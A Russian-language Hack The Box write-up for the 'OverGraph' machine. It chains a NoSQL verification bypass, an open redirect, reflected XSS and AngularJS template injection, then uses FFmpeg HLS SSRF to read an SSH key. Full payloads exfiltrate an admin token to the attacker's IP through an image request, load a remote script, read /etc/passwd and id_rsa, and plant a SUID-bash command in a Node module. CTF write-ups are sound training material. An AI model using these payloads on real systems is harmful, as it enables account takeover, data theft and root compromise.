ВЗЛОМ HTB OverGraph. Извлекаем данные через цепочку Open Redirect, RXXS и CSTI
В этом райтапе мы с тобой проведем множество сканирований цели, чтобы определить точки входа, поработаем с GraphQL, проэксплуатируем цепочку уязвимостей Open Redirect, Reflected XSS и CSTI для кражи админского токена. Затем получим доступ к хосту, прочитав SSH-ключ через SSRF в FFmpeg. Все это — в рамках прохождения сложной машины OverGraph с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Открыто два порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0. Nmap показал нам, что выполняется редирект на адрес http://graph.htb
. Тоже добавляем этот адрес в файл /etc/hosts
.
10.10.11.157 overgraph.htb graph.htb
Сайт оказался одностраничным, поэтому нужно найти новые цели для тестирования.
Сканирование веб-контента
Попробуем поискать скрытые каталоги и файлы при помощи ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-u
— URL;-fc
— исключить из результата ответы с кодом 403.
ffuf -u 'http://graph.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt
И не находим ничего интересного, даже в файле server-status
. Поэтому попробуем просканировать поддомены, для чего снова будем использовать ffuf. К параметрам добавим заголовки -H
и --fs
, это поможет отсеять страницы по размеру.
ffuf -u 'http://graph.htb/' -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.graph.htb' --fs 178
И находим новый поддомен internal
. Добавляем его в файл /etc/hosts
.
10.10.11.157 overgraph.htb graph.htb internal.graph.htb
Но, открыв сайт в браузере, сразу натыкаемся на форму авторизации.
Так как всю работу проводим через Burp, то обнаружим в Burp History обращение еще к одному домену — internal-api.graph.htb
.
Добавляем еще одну запись в файл /etc/hosts
и затем открываем страницу /graphql
.
10.10.11.157 overgraph.htb graph.htb internal.graph.htb internal-api.graph.htb
На странице используется GraphQL. Это язык запросов, с помощью которого клиентские приложения работают с данными. «Схемы» GraphQL позволяют организовывать создание, чтение, обновление и удаление данных в приложении. Давай получим данные __schema
и отфильтруем названия типов, это можно сделать, передав в параметре query
следующий запрос:
{__schema{types{name,fields{name}}}}
На этом пока все, но мы еще не сканировали каталоги на новом домене. Попробуем сделать это. Но, как только мы обратимся к любой странице, получим ответ, что запросы GET не поддерживаются. Поэтому будем сканировать запросом POST. А так как на домене крутится API, то и использовать будем соответствующий словарь.
ffuf -u 'http://internal-api.graph.htbFUZZ' -t 256 -X POST -w apiscan.txt
И находим три новые страницы, с которыми начнем работу.
ТОЧКА ВХОДА
Итак, мы имеем следующие API:
register
— для регистрации пользователя;verify
— предположительно для проверки при регистрации;code
— пока непонятно, но, скорее всего, для проверки кода, отправленного на email.
Я начал со страницы /api/register
. Передаем наиболее вероятные параметры: имя пользователя, пароль и адрес электронной почты.
{ "username":"ralf", "email":"[email protected]", "password":"ralf"}
Но в ответ нам говорят, что у нас неверный email или он не верифицирован. Это интересно, так как у нас остается всего две страницы для регистрации. Видимо, страница /api/code
нужна для получения кода. Отправим туда свой email.
{ "email":"[email protected]"}
И нам сообщают, что четыре цифры были отправлены на указанный почтовый ящик. По тестовому сообщению на странице /api/verify
узнаем, что вместе с почтой нужно присылать и код.
Я попробовал перебрать этот код с помощью Burp Intruder, благо комбинаций всего 10 000. Но уже на одном из первых запросов все ломается, так как мы превысили количество попыток!
Я очень долго просидел на этом этапе — пришлось даже просить подсказки у друзей. Мне посоветовали углубиться в механизм проверки кода. Тогда, потратив еще немного времени, я нашел NoSQL-инъекцию, которая позволяет верифицировать почту, предоставляя неправильный код. В данном запросе мы получим положительный результат, если код не равен 0000.
{ "email":"[email protected]", "code":{ "$ne":"0000" }}
Приходит подтверждение того, что почта верифицирована. Повторим регистрацию и получим сообщение, что пароль и его подтверждение не совпадают.
Тогда я перепробовал разные имена поля подтверждения пароля и определил, что в данном случае подходит confirmPassword
.
И аккаунт создан! Перейдем к форме авторизации на втором домене и авторизуемся.
А во входящих находим сообщение от пользователя Sally.
Нас просят прислать ссылку. Попробуем открыть локальный сервер и скинуть ссылку на него. В итоге приходит запрос.
Давай посмотрим, как это можно использовать.
ТОЧКА ОПОРЫ
Если еще раз взглянуть на страницу, можно заметить над меню надпись null null
. В исходном коде есть отсылка к нашему пользователю. А в локальном хранилище браузера (F12 → Application) найдем запись, что это firstname
и lastname
.
Перейдем в настройки профиля и увидим то же самое, только с возможностью изменить эти значения.
CSTI
Надпись null null
натолкнула меня на мысль об использовании шаблонов. Давай проведем базовый тест.
Как можно увидеть, вместо введенной строки получаем результаты выражений, а значит, есть уязвимость в шаблонах! Вот только в локальном хранилище эти значения хранятся, как и вводились. Значит, шаблон работает на клиентской стороне, а это уже путь для CSTI — инъекции шаблонов на стороне клиента.
Также я обратил внимание на параметр admin
со значением false
. Я изменил на true
и перезагрузил страницу. В меню появилась графа Uploads
.
Только вот форма загрузки не дает загрузить файл. Если вернемся к нашей схеме GraphQL, то можем посмотреть на необходимые параметры, к примеру adminToken
.
Таким образом, нам нужен adminToken
пользователя Sally. Но получить его непросто. Тут появился следующий план: если заставим целевого пользователя выполнить запрос на смену имени (по ссылкам же он переходит!), то в качестве нового имени установим нагрузку CSTI, передающую нам adminToken
. В исходниках видим использование AngularJS.
AngularJS — это популярная библиотека JavaScript, которая сканирует HTML на предмет тегов с атрибутом ng-app
(директива AngularJS). Когда директива добавляется в тег, появляется возможность выполнять выражения JavaScript в двойных фигурных скобках.
Уязвимость Template Injection возникает, когда приложение, используя какой‑нибудь шаблонизатор, динамически внедряет пользовательский ввод в веб‑страницу. Когда страница отображается, фреймворк ищет в странице шаблонное выражение и выполняет его. Основное отличие CSTI от SSTI заключается в том, что при CSTI мы можем добиться лишь выполнения произвольного кода на JavaScript. Две самые популярные нагрузки для CSTI в AngularJS:
{{constructor.constructor('alert(1)')()}}{{$on.constructor('alert(1)')()}}
Обновляем страницу и первым делом видим окошко алерта.
А теперь попробуем эксфильтровать токен, для чего создадим у себя в хранилище тестовый.
В качестве нагрузки будем использовать знаменитый стилер, который похищает данные через картинку, а доступ к хранилищу получим через window.localStorage
.
{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}
Обновляем страницу и в логах локального веб‑сервера находим значение тестового токена.
Нагрузка для эксфильтрации готова, теперь разберемся, как подсунуть пользователю наш код.
Open Redirect
Я снова просмотрел все сайты и на самом главном домене нашел что‑то вроде редиректа.
Если существует GET-параметр redirect
, то функция window.location.replace
установит в качестве содержимого текущей страницы код, взятый по ссылке из redirect
. Благо мы можем вставить вместо URL код на JavaScript:
http://graph.htb/?redirect=javascript:alert(1)
Осталось разобраться с данными, которые отправляются для изменения имени пользователя.
GraphQL
В Burp History найдем запрос, которым мы изменили собственное имя.
Один из параметров — id
пользователя, а это немного усложняет задачу. Снова вернемся к GraphQL и посмотрим, какой из типов содержит поле Assignedto
.
Нас интересует тип task
, который мы можем получить запросом tasks
.
Таким образом, нам нужно выполнить запрос tasks
с параметром username
, в котором мы передадим имя пользователя Sally
. Нас интересует только поле Assignedto
.
Reflected XSS
Мы получили ID целевого пользователя, поэтому можем собрать XSS-нагрузку. Наша нагрузка с помощью XMLHttpRequest
выполнит POST-запрос на http://internal-api.graph.htb/graphql
и передаст нагрузку CSTI как параметр firstname
:
var req = new XMLHttpRequest();req.open('POST', 'http://internal-api.graph.htb/graphql', false);req.setRequestHeader("Content-Type","text/plain");req.withCredentials = true;var body = JSON.stringify({ operationName: "update", variables: { firstname: "{{$on.constructor('new Image().src="http://10.10.14.123:8000/?a="+window.localStorage.getItem("adminToken");')()}}", lastname: "sally", id: "62ee9709c53e9f1214e1af5e", newusername: "sally" }, query: "mutation update($newusername: String!, $id: ID!, $firstname: String!, $lastname: String!) {update(newusername: $newusername, id: $id, firstname: $firstname, lastname:$lastname){username,email,id,firstname,lastname,adminToken}}"});req.send(body);
Сначала я хотел передать ее в редиректор по такой схеме:
javascript:eval(atob(_URL_encode(_BASE64_encode(payload))))
Но это не сработало. Тогда я записал нагрузку в отдельный файл на локальном веб‑сервере и загрузил удаленно, используя вставку кода функцией document.body.innerHTML
:
javascript:document.body.innerHTML+='<script src="http://10.10.14.123:8000/t.js"></script>'
Необходимо закодировать эту нагрузку в кодировку URL и отправить ссылку пользователю в чате:
http://graph.htb/?redirect=javascript:document.body.innerHTML%2b%3d'<script+src%3d"http://10.10.14.123:8000/t.js"></script>'
Дальше механизм сработает так:
- Пользователь переходит по ссылке.
- Через редирект с нашего веб‑сервера загружается JS-скрипт с нагрузкой.
- Нагрузка отправляет запрос на изменение профиля и устанавливает другую нагрузку CSTI.
- При обновлении страницы нагрузка CSTI извлекает
adminToken
из локального хранилища и отправляет его на наш сервер.
Получаем adminToken
и пробуем отправить любой из предложенных файлов.
Появилось сообщение, что файл загружен, а значит, мы получили нужный токен. Продолжаем тестирование.
ПРОДВИЖЕНИЕ
Набор принимаемых форматов файлов натолкнул меня на мысль об использовании FFmpeg — я с ним уже сталкивался в подобных ситуациях. Первым делом стоит проверить, есть ли для обнаруженной CMS готовые эксплоиты. Поищем в интернете на сайтах вроде HackerOne, exploit-db, а также GitHub. Находим подходящий эксплоит на HackerOne.
FFmpeg, если ты вдруг про него не слышал, — это мощнейший опенсорсный инструмент для преобразования видео. В него входит несколько библиотек:
- libavcodec — библиотека аудио- и видеокодеков, которая используется во многих коммерческих и бесплатных продуктах;
- libavformat — библиотека мультиплексирования и демультиплексирования контейнеров аудио/видео;
- ffmpeg — программа для командной строки, которая запускает операции над видеофайлами.
SSRF
Для эксплуатации подделки запросов на стороне сервера (SSRF) нам просто нужно загрузить файл .avi с внедренными HLS-директивами (список воспроизведения) внутри.
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://[наш сервер] #EXT-X-ENDLIST
После загрузки файла с таким содержимым мы просто получим запрос на свой сервер. User-Agent
будет иметь версию упомянутой библиотеки libavformat.
LFR
Для эксплуатации уязвимости локального чтения файлов (LFR) нужно поместить на своем сервере специальный файл и ссылаться на него внутри видео, которое якобы будет загружаться. Содержимое файла header.m3u8
:
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:,http://[наш сервер]?
А теперь, чтобы получить первую строку из файла /etc/passwd
, загружаемый AVI должен иметь следующее содержимое:
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,concat:http://[наш сервер]/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST
FFmpeg HLS SSRF
Проект FFmpeg-HLS-SSRF позволит нам получить весь файл целиком. Загружаем его на сервер:
python3 server.py --external-addr 10.10.14.123 --port 8000
После этого создадим файл AVI со следующим содержимым:
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://10.10.14.123:8000/initial.m3u?filename=/etc/passwd #EXT-X-ENDLIST
Это поможет нам извлечь файл /etc/passwd
. После того как сервер выдаст ошибку, его можно остановить.
В каталоге сервера найдем файл с эксфильтрованными данными.
Из файла узнаем о пользователе user
. Попробуем получить его приватный ключ SSH.
#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://10.10.14.123:8000/initial.m3u?filename=/home/user/.ssh/id_rsa #EXT-X-ENDLIST
Теперь осталось разобраться с его форматированием. Я открыл созданный файл в hex-редакторе и определил, что вместо символа перевода строки используется null-байт.
Заменим null-байт символом \n
и сохраним уже с нормальным форматированием.
Командой chmod 0600 id_rsa
назначаем нужные файлу права и подключаемся по SSH.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
В домашнем каталоге пользователя, кроме файла с флагом, находим еще и каталог с каким‑то приложением на Node.js.
Проверяя прослушиваемые порты, находим типичный для веба порт 8080, который открыт для локального хоста.
Проверим найденное приложение. Для этого нужно будет прокинуть порт 8080 на свой хост с помощью SSH.
ssh -L 8081:127.0.0.1:8080 -i id_rsa [email protected]
Таким образом, весь трафик, который мы пошлем на локальный порт 8081, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.
Но приложение нам отвечает уже знакомым ответом. Я проверил наличие известных каталогов, к примеру /graphql
.
И это тот же API, c которым мы работали раньше. Только в данном случае мы имеем доступ к исходным кодам. Причем наш пользователь — владелец большинства файлов, что дает нам возможность записывать свой код! Почти во всех файлах подключается и используется модуль mongoose
, как и в addUser.js
.
Создать файл в текущем каталоге мы не можем, но можем перейти к самому модулю в каталоге node_modules
.
Файл index.js
служит только для подключения модулей из каталога lib
.
В файле addUser.js
использовался именно модуль connection
, поэтому внесем изменения в файл connection.js
. В самом начале подключим модуль child_process
.
const { exec } = require("child_process");
А в конструкторе класса Connection
вызовем функцию exec
, куда передадим команду назначения S-бита файлу командной оболочки bash
.
exec("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash", (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`);});
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Мы получаем доступ от имени рута, а значит, машина захвачена!